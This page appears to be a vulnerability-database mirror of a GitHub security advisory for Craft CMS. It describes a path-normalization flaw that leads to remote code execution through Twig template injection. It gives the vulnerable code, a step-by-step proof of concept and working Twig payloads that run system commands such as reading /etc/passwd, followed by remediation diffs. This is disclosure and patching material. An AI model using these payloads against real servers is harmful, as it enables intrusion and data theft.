Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-f3cw-hg6r-chfv

Опубликовано: 13 нояб. 2024
Источник: github
Github: Прошло ревью
CVSS4: 7.3
CVSS3: 7.2

Описание

Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

/** * Returns an absolute path based on a source location or the current working directory. * * @param string $to The target path. * @param string|null $from The source location. Defaults to the current working directory. * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`. * @return string * @since 4.3.5 */ public static function absolutePath( string $to, ?string $from = null, string $ds = DIRECTORY_SEPARATOR, ): string { $to = static::normalizePath($to, $ds); // Already absolute? if ( str_starts_with($to, $ds) || preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to) ) { return $to; } if ($from === null) { $from = FileHelper::normalizePath(getcwd(), $ds); } else { $from = static::absolutePath($from, ds: $ds); } return $from . $ds . $to; }

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

/** * Returns whether the given file path is located within or above any system directories. * * @param string $path * @return bool * @since 5.4.2 */ public function isSystemDir(string $path): bool // $path = "../templates/poc" { $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc" foreach (Craft::$app->getPath()->getSystemPaths() as $dir) { $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates" if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false) return true; } } return false; // We're here! }

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

/** * @param string $attribute * @param array|null $params * @param InlineValidator $validator * @return void * @since 4.4.6 */ public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) { $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.')); } }

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

{{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

  1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
mkdir craftcms && cd craftcms ddev config --project-type=craftcms --docroot=web --create-docroot ddev composer create -y --no-scripts "craftcms/craft" ddev craft install php craft setup/security-key ddev start
start
  1. Create a new filesystem with base path ../templates/poc
filesystem

Notice that the poc directory was created

dir
  1. Create a new asset volume using the poc filesystem
asset

Upload a poc.ttml file with RCE template code

{{'<pre>'}} {{ 8*8 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

upload

ttml

  1. Create a new route * with template poc/poc.ttml
route
  1. This leads to Remote Code Execution on arbitrary route /*
rce

Remediation

diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php index 0c2da884a7..ac23ce556a 100644 --- a/src/helpers/FileHelper.php +++ b/src/helpers/FileHelper.php @@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper $from = static::absolutePath($from, ds: $ds); } - return $from . $ds . $to; + return FileHelper::normalizePath($from . $ds . $to); } /**

fix_norm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php index efff2d2412..756f452f8b 100644 --- a/src/web/twig/Extension.php +++ b/src/web/twig/Extension.php @@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface new TwigFilter('lcfirst', [$this, 'lcfirstFilter']), new TwigFilter('literal', [$this, 'literalFilter']), new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]), + new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]), + new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]), + new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]), new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]), new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]), new TwigFilter('merge', [$this, 'mergeFilter']),

fix_ssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

Пакеты

Наименование

craftcms/cms

composer
Затронутые версииВерсия исправления

>= 4.0.0-RC1, <= 4.12.1

4.12.2

Наименование

craftcms/cms

composer
Затронутые версииВерсия исправления

>= 5.0.0-RC1, <= 5.4.2

5.4.3

EPSS

Процентиль: 95%
0.17437
Средний

7.3 High

CVSS4

7.2 High

CVSS3

Дефекты

CWE-22
CWE-94

Связанные уязвимости

CVSS3: 7.2
nvd
около 1 года назад

Craft is a content management system (CMS). Prior to 4.12.2 and 5.4.3, Craft is missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI. This is a sequel to CVE-2023-40035. This vulnerability is fixed in 4.12.2 and 5.4.3.

CVSS3: 7.2
fstec
около 1 года назад

Уязвимость системы управления контентом Craft CMS, связанная с неверным ограничением имени пути к каталогу с ограниченным доступом, позволяющая нарушителю выполнить произвольный код или реализовать атаку внедрения шаблонов на стороне сервера (Server Side Template Injection (SSTI))

EPSS

Процентиль: 95%
0.17437
Средний

7.3 High

CVSS4

7.2 High

CVSS3

Дефекты

CWE-22
CWE-94